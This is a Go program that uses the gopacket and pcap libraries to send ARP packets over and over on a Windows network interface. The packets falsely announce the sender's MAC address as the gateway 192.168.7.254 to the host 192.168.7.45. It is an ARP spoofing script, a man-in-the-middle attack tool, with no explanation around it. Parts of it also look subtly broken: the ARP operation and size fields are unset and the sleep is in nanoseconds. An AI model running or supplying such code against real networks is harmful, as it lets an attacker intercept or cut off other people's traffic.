package main

import (
	"fmt"
	"github.com/google/gopacket"
	"github.com/google/gopacket/layers"
	"github.com/google/gopacket/pcap"
	"net"
	"time"
)

func main() {
	fmt.Println("pcap version", pcap.Version())
	handle, err := pcap.OpenLive("\\Device\\NPF_{C6571165-98E0-458B-B665-61F7D78A00CE}", 13006, true, pcap.BlockForever)
	if err != nil {
		println("pcap open fail, err:", err)
	}

	for true {
		sendArpPackage3(net.ParseIP("192.168.7.45"), net.ParseIP("192.168.7.254"), handle)
		time.Sleep(5000)
	}
}
func sendArpPackage3(dstIp, gateway net.IP, handle *pcap.Handle) {
	localMac, _ := net.ParseMAC("d8:c4:97:bf:f7:18")
	mac, _ := net.ParseMAC("ff:ff:ff:ff:ff:ff")
	ether := &layers.Ethernet{
		DstMAC:       mac,
		SrcMAC:       localMac,
		EthernetType: layers.EthernetTypeARP,
	}

	a := &layers.ARP{
		AddrType:          layers.LinkTypeEthernet,
		Protocol:          layers.EthernetTypeIPv4,
		SourceHwAddress:   localMac,
		SourceProtAddress: gateway,
		DstProtAddress:    dstIp,
	}

	buffer := gopacket.NewSerializeBuffer()
	var opt gopacket.SerializeOptions
	gopacket.SerializeLayers(buffer, opt, ether, a)
	outgoingPacket := buffer.Bytes()

	err := handle.WritePacketData(outgoingPacket)
	if err != nil {
		println("send packet fail")
	}
}
